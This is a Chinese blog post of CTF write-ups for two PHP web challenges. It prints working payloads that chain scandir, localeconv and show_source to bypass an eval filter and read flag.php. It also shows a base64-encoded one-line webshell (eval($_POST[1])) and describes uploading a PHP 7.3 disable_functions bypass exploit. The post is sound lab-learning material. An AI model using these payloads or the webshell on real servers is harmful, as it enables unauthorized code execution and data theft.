被监督写博客-Day6

今天做的这道题也不是很难,就是在做题的时候需要联系一些函数的功能,先记录一下这些函数:

  1. scandir()可以扫描当前目录下的文件
  2. localeconv() 返回一包含本地数字及货币格式信息的数组
  3. array_reverse()以相反的元素顺序返回数组
  4. array_flip()交换数组的键和值
  5. array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回
  6. current()返回数组当前的值
  7. next()将内部指针指向数组中的下一个元素,并输出

题目
[GXYCTF2019]禁止套娃

首先要用githack扫描.git
在这里插入图片描述
打开index.php,源码如下:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析代码;

  • 需要get方式传参数exp
  • 第一个if过滤了几种伪协议
  • 第二个if不太懂,不过大概知道R?是引用当前表达式,a(b())这样的形式应该是合法的
  • 第三个if过滤了一些关键字

首先考虑爆目录
由于scandir()函数需要有一个directory,要考虑一个自带常量的函数,查到可以是localeconv(),通过数组联系到current函数
payload:

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
用array_reverse()函数以相反的元素顺序返回数组,然后再next() 可以访问flag.php

问题:如何读flag.php的源码?

因为et被ban了,所以不能使用file_get_contents(),但是可以可以使用readfile()或highlight_file()以及其别名函数show_source()

payload:

?exp=highlight_file(next(show_source(scandir(current(localeconv())))));

还看到了另一种方法,
同样是要用到上述函数,就是涉及到了php的session机制,session_id()可以获取到当前的session id,抓包后手动设置名为PHPSESSID的cookie,同样的payload即可。

由于某人巴拉巴拉巴拉巴拉的,只好再做一道题,这道题是完全没啥思路。。。

题目:
[GKCTF2020]CheckIN
在这里插入图片描述
大概是要用base64将Ginkgo要传的内容编码,有eval函数想到跟一句话木马有点关系吧。。。
看wp先是要访问phpinfo(),看一下php配置,将phpinfo();base64后上传,看一下信息,其实不太懂,就是过滤了很多函数,系统命令也无法执行,应该是只能执行php命令?
上传一句话木马:

eval($_POST[1]);

加密后:ZXZhbCgkX1BPU1RbMV0pOw==

蚁剑连接,找flag找不到,而且好像是说没有权限,
这里涉及到php7.3版本中存在的disable_function绕过漏洞,由于本身禁用了一些系统命令,需要将进行绕过的exp上传至服务器目录,
exp.

将pwn后面的执行命令修改在这里插入图片描述
上传的时候要选择合适的目录,tmp目录可读可写。
上传成功后再
在这里插入图片描述
得到flag
(以后做题时候也要考虑版本问题)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值